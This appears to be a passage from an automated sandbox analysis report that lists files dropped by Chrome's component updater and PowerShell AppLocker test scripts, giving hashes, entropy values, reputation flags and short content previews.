Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJMSUNFTlNFIiwicm9vdF9oYXNoIjoiUGIwc2tBVUxaUzFqWldTQnctV0hIRkltRlhVcExiZDlUcVkwR2ZHSHBWcyJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJmRE9abjBzc1NUOU4tSlp2RVJxSmVxVkRDSmxxRnQ5MjEwakpSai1zT1BVIn0seyJwYXRoIjoic2V0cy5qc29uIiwicm9vdF9oYXNoIjoiOGFBdnhTQzd3c3l4VmRFeDBibEhPdUtCamNUS1ZTSDNkNkVGZ1RxS0ZfSSJ9XSwiZm9ybWF0IjoidHJlZWhhc2giLCJoYXNoX2Jsb2NrX3NpemUiOjQwOTZ9XSwiaXRlbV9pZCI6ImdvbnBlbWRna2pjZWNkZ2JuYWFiaXBwcGJtZ2ZnZ2JlIiwiaXRlbV92ZXJzaW9uIjoiMjAyNC42LjUuMCIsInByb3RvY29sX3ZlcnNpb24iOjF9","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"WduI6rdNnhquti5ufHshiTbQ2X5pQ4utS0KNZOHsU2CL1gYUoatVs0z0PBHdjTG_grUlh_V1f96kcjhetu78ZxSUtbncScELp9GTUEgzhVksdjmHrlLayp_LrzdLQ4jJuLcxNaXHvaBgK0w3An1hhjWyV_gjG4DzuCOCdAEeqc6nPAliOYdmhozaZ1HFQBFQvygmxzVOY4bzQBJIqR7SnVgd4Dor4UBki5kPgpLWSZC1uqBsqsbRdOi68

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping7140_1845950350\manifest.fingerprint

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.8949322426468203
Encrypted:	false
SSDEEP:	3:S/ljFDWCS267RQLDl5SEJjehA:S/RFGG5SqjOA
MD5:	BA068A68665157ABBCC246A9A438DB12
SHA1:	666BEFBAAF7808797CD6B2ADF77CC5CC35F3DB96
SHA-256:	C3E980DE220FDE78B01AD3094FC15BB8FA68F8BFF4577144A02102CC3F11A3A5
SHA-512:	86636C9A5718ECF90B10D0D413A9166DCB5A57D50AD42ED416326083BB3BA7DCBFA691F31F8449BA2CFCF18F73E26F24DAEFC091527C1D364CF1CE84D70C02B2
Malicious:	false
Reputation:	unknown
Preview:	1.a3d6a61ef91958b5b310f743f33936d345f2f4f5b2417ac069660b7f9cfbdd4e

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping7140_1845950350\manifest.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	84
Entropy (8bit):	4.445747664309578
Encrypted:	false
SSDEEP:	3:rR6TAulhFphifFCmMARWHJqS1jWHAn:F6VlM8aRWpqS1sA
MD5:	CE3ABB2216AB9D9FB849F237079940A8
SHA1:	83B7B7C072992090350A70F72AC1F1D2ACA3AC93
SHA-256:	7C33999F4B2C493F4DF8966F111A897AA54308996A16DF76D748C9463FAC38F5
SHA-512:	C1E0614D545A928A3572A50A5C0621952ABDFB25A10555706152DF612B745FE428E13CF40E6B9DBC10222EAA9E91AADF9253DF44893D8F473E9A46FBB591EAFB
Malicious:	false
Reputation:	unknown
Preview:	{. "manifest_version": 2,. "name": "First Party Sets",. "version": "2024.6.5.0".}

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping7140_1845950350\sets.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	8380
Entropy (8bit):	4.620718138514841
Encrypted:	false
SSDEEP:	96:Mon4mwqX1gs1/BNKLcxbdmf56GIJtRTGXvcxyuP+8qJq:vOqljBkIVntRTGXvcxNsq
MD5:	DFA8F99B100DDF9C4EE7C2D843B5ED11
SHA1:	9F51271CD2093C2DFFF222699C8EC75D0214B754
SHA-256:	FEF0CA4297891D45C2871BBD3672C587F5D85FD560D5F236567951D79FEFF394
SHA-512:	E9CF1159255DB4A47412934BB8569D10D1FF75B496EEFAF2070183A2CD555691CA4D22F83F1508FDC3ACFB7C6E3EE6F56864ED2B3E44FCAC524A96DC913B30F6
Malicious:	false
Reputation:	unknown
Preview:	{"primary":"https://bild.de","associatedSites":["https://welt.de","https://autobild.de","https://computerbild.de","https://wieistmeineip.de"],"serviceSites":["https://www.asadcdn.com"]}.{"primary":"https://blackrock.com","associatedSites":["https://blackrockadvisorelite.it","https://cachematrix.com","https://efront.com","https://etfacademy.it","https://ishares.com"]}.{"primary":"https://cafemedia.com","associatedSites":["https://cardsayings.net","https://nourishingpursuits.com"]}.{"primary":"https://caracoltv.com","associatedSites":["https://noticiascaracol.com","https://bluradio.com","https://shock.co","https://bumbox.com","https://hjck.com"]}.{"primary":"https://carcostadvisor.com","ccTLDs":{"https://carcostadvisor.com":["https://carcostadvisor.be","https://carcostadvisor.fr"]}}.{"primary":"https://citybibleforum.org","associatedSites":["https://thirdspace.org.au"]}.{"primary":"https://elpais.com.uy","associatedSites":["https://clubelpais.com.uy","https://paula.com.uy","https://galli

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping7140_416299148\Google.Widevine.CDM.dll

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2877728
Entropy (8bit):	6.868480682648069
Encrypted:	false
SSDEEP:	49152:GB6BoH5sOI2CHusbKOdskuoHHVjcY94RNETO2WYA4oPToqnQ3dK5zuqvGKGxofFo:M67hlnVjcYGRNETO2WYA4oLoqnJuZI5
MD5:	477C17B6448695110B4D227664AA3C48
SHA1:	949FF1136E0971A0176F6ADEA8ADCC0DD6030F22
SHA-256:	CB190E7D1B002A3050705580DD51EBA895A19EB09620BDD48D63085D5D88031E
SHA-512:	1E267B01A78BE40E7A02612B331B1D9291DA8E4330DEA10BF786ACBC69F25E0BAECE45FB3BAFE1F4389F420EBAA62373E4F035A45E34EADA6F72C7C61D2302ED
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....fd.........." ......(..........A&.......................................,.......,...`A.........................................V......V......`,......`+..p....+. )...p,......D.8....................C.(.....(.8...........p\..............................text.....(.......(................. ..`.rdata..h.....(.......(.............@..@.data....l......&.................@....pdata...p...`+..r.................@..@.00cfg..(.....+......p+.............@..@.gxfg....$....+..&...r+.............@..@.retplnel.... ,.......+..................tls.........0,.......+.............@....voltbl.D....@,.......+................._RDATA.......P,.......+.............@..@.rsrc........`,.......+.............@..@.reloc.......p,.......+.............@..B........................................................................................................................................

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping7140_416299148\_metadata\verified_contents.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1778
Entropy (8bit):	6.02086725086136
Encrypted:	false
SSDEEP:	48:p/hCdQAdJjRkakCi0LXjX9mqjW6JmfQkNWQzXXf2gTs:RtQ1aaxXrjW6JuQEWQKas
MD5:	3E839BA4DA1FFCE29A543C5756A19BDF
SHA1:	D8D84AC06C3BA27CCEF221C6F188042B741D2B91
SHA-256:	43DAA4139D3ED90F4B4635BD4D32346EB8E8528D0D5332052FCDA8F7860DB729
SHA-512:	19B085A9CFEC4D6F1B87CC6BBEEB6578F9CBA014704D05C9114CFB0A33B2E7729AC67499048CB33823C884517CBBDC24AA0748A9BB65E9C67714E6116365F1AB
Malicious:	false
Reputation:	unknown
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJHb29nbGUuV2lkZXZpbmUuQ0RNLmRsbCIsInJvb3RfaGFzaCI6Im9ZZjVLQ2Z1ai1MYmdLYkQyWFdBS1E5Nkp1bTR1Q2dCZTRVeEpGSExSNWMifSx7InBhdGgiOiJtYW5pZmVzdC5qc29uIiwicm9vdF9oYXNoIjoiYk01YTJOU1d2RkY1LW9Tdml2eFdqdXVwZ05pblVGakdPQXRrLTBJcGpDZyJ9XSwiZm9ybWF0IjoidHJlZWhhc2giLCJoYXNoX2Jsb2NrX3NpemUiOjQwOTZ9XSwiaXRlbV9pZCI6Im5laWZhb2luZGdnZmNqaWNmZmtncG1ubHBwZWZmYWJkIiwiaXRlbV92ZXJzaW9uIjoiMS4wLjI3MzguMCIsInByb3RvY29sX3ZlcnNpb24iOjF9","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"KTPeHzS0ybFaz3_br3ASYWHjb6Ctul92067u2JMwtNYYm-4KxLiSkJZNBIzhm6hNSEW2p5kUEvHD0TjhhFGCZnWm9titj2bqJayCOAGxZb5BO74JJCRfy5Kwr1KSS4nvocsZepnHBmCiG2OV3by-Lyf1h1uU3X3bDfD92O0vJzrA8rwL2LrwIk-BolLo5nlM0I_MZwg8DhZ8SFBu9GGRVB2XrailDrv4SgupFE9gqA1HY6kjRjoyoAHbRRxZdBNNt9IKNdxNyaF9NcNRY8dAedNQ9Tw3YNp5jB7R9lcjO4knn58RdH2h_GiJ4l96StcXA4e7cqbJ77P-c

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping7140_416299148\manifest.fingerprint

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.974403644129192
Encrypted:	false
SSDEEP:	3:SLVV8T+WSq2ykFDJp9qBn:SLVqZS5p0B
MD5:	D30A5BBC00F7334EEDE0795D147B2E80
SHA1:	78F3A6995856854CAD0C524884F74E182F9C3C57
SHA-256:	A08C1BC41DE319392676C7389048D8B1C7424C4B74D2F6466BCF5732B8D86642
SHA-512:	DACF60E959C10A3499D55DC594454858343BF6A309F22D73BDEE86B676D8D0CED10E86AC95ECD78E745E8805237121A25830301680BD12BFC7122A82A885FF4B
Malicious:	false
Reputation:	unknown
Preview:	1.c900ba9a2d8318263fd43782ee6fd5fb50bad78bf0eb2c972b5922c458af45ed

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping7140_416299148\manifest.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	145
Entropy (8bit):	4.595307058143632
Encrypted:	false
SSDEEP:	3:rR6TAulhFphifFooG+HhFFKS18CWjhXLXGPQ3TRpvF/FHddTcplFHddTcVYA:F6VlM5PpKS18hRIA
MD5:	BBC03E9C7C5944E62EFC9C660B7BD2B6
SHA1:	83F161E3F49B64553709994B048D9F597CDE3DC6
SHA-256:	6CCE5AD8D496BC5179FA84AF8AFC568EEBA980D8A75058C6380B64FB42298C28
SHA-512:	FB80F091468A299B5209ACC30EDAF2001D081C22C3B30AAD422CBE6FEA7E5FE36A67A8E000D5DD03A30C60C30391C85FA31F3931E804C351AB0A71E9A978CC0F
Malicious:	false
Reputation:	unknown
Preview:	{. "manifest_version": 2,. "name": "windows-mf-cdm",. "version": "1.0.2738.0",. "accept_arch": [. "x64",. "x86_64",. "x86_64h". ].}

C:\Windows\SystemTemp\chrome_url_fetcher_7140_1750386569\gonpemdgkjcecdgbnaabipppbmgfggbe_2024.06.05.00_all_lqepr5dqnivxhxcinrlckqnwo4.crx3

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	6999
Entropy (8bit):	7.708666095648242
Encrypted:	false
SSDEEP:	192:CF+6ByTIpRPSnAn7fOAHSu8D7dNi0JCgy429fnJSulLzL4tyER:96MTaPSAn3l8DBVl0ntlP0TR
MD5:	295E0511D2A30920CD83B70F0142E4EA
SHA1:	3472F19E2FCD468CA3D1DFCF8C2CB5CC18CCEFD6
SHA-256:	A3D6A61EF91958B5B310F743F33936D345F2F4F5B2417AC069660B7F9CFBDD4E
SHA-512:	88E526C1F006290BE796F8CA43C02694630EB905EC726067D28A6C7C65F6704DA9001E772436C4191EDA5868FE3FF5C0941893492DA91193D9D708AC099023F2
Malicious:	false
Reputation:	unknown
Preview:	Cr24..............0.."0....H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L\|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.\|1..n.<Fb..f..Q1.....s..2..{.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-eu...b.............)...y..c.....%`.?+..J7...H6..9{..C..:...sQ...\$7.n..C@.M........T]$j......#.B..=J......s.^{[..".>.7w..~k\\|~(.....qQ..T..>...g1.RJ.......n;.....eQ.D.5O.......g...jA..?..)..5b..QE5`...G}.._c...3Y....A..p....._.!:...x#.....o........-o\.Z..........0.."0....H.............0.........bi] ,7.T#}.....L.......J...M.h.!.ZY...D^....j...1..BaR.B...l...lk....}>#.e.Qy.g..a...r....Y.......j5.m...Z.A.....R<E...E....q/..Y!3.;'..m.L{.O".M.,.t..}.....}\|..BjP.k....+...M{.;....E.i...'....k^]8.I...s..^...e.v......BV.Gk0......H.....B.=.]..`.c..p4....j....7.e.N(....].a..:...,..:....X.._.6[h..<...~.......y.b.T....1.N......+.S.../...\..7.m...5.....^.(,..#.1X.

C:\Windows\SystemTemp\chrome_url_fetcher_7140_781841184\neifaoindggfcjicffkgpmnlppeffabd_1.0.2738.0_win64_kj4dp5kifwxbdodqls7e5nzhtm.crx3

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	1181927
Entropy (8bit):	7.997580237306415
Encrypted:	true
SSDEEP:	24576:rq9Lbk1ZSPg10//xALQtigTPnWqHAD/Dzj4ZmM4/wIwIs10XYyyJeSq3IfI+GN1s:6LQPcC0//yLlgTPWqgzDH4ZmZs6XYy8r
MD5:	F265D47475FFD3884329D92DEEFAE504
SHA1:	98C74386481F171B09CB9490281688392EEFBFDD
SHA-256:	C900BA9A2D8318263FD43782EE6FD5FB50BAD78BF0EB2C972B5922C458AF45ED
SHA-512:	4FD27594C459FB1CD94A857BE10F7D1D6216DBF202CD43E8A3FA395A268C72FC5F5C456C9CB314F2220D766AF741DB469C8BB106ACBED419149A44A3B87619F1
Malicious:	false
Reputation:	unknown
Preview:	Cr24..............0.."0....H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L\|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.\|1..n.<Fb..f..Q1.....s..2..{.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-eu...b.........R....H.4.>..gg.n6:...d1.<X.R&..V...5.d..o\%r'y..W....}.Gk!..r.7..k.@n..^....[.&......^..>.Su...^"aZ.......>m~.....u+..O.....3$s...ABo..)........4..W.3vp^.'..OF.........f.u.(o..).f..Yu\\..`.z.c...B.Bb.v..w.........c4r../..d\|...&@Wk...W..@......0.."0....H.............0..........,.v@....]...<.....n..m.RI..~o.....K..+B/$.).EP....H/..}......$.]....m.Y....P.......&/.Q...@7..`.$M..(-!m...*.H....k.P......E%.(.DvnlS....d....$.\|....K.......5.....k?........XG..0.... .m...c3O.......xm.x,.D.duG..F+.. Q!.NJT..&..y..LHng.'.[..._i.Pt.........w...:...q.../J..R1....N..]..b._...]y4..f......@.x..\B..h..8b0...{pi..(.....N=@..V...S..o\|d;....j.Kx.A..+.

C:\Windows\Temp\__PSScriptPolicyTest_0xfs1ejv.lnc.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_22k4e4j3.yw4.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_3c2anvie.wpm.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_3ufq4pcf.ij3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_4r4go1cx.tva.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_gdanc012.j3l.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_luhg4px1.0dx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_nlotwwpq.45h.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_pfxiyku1.gtz.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_pz3u4cdf.eip.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_soxka5n4.a2o.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_sozchori.vas.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_th3uieb3.awo.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_ugbc31xh.qhl.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_w3gxtg1o.xxj.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_zvpfsu0o.fps.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
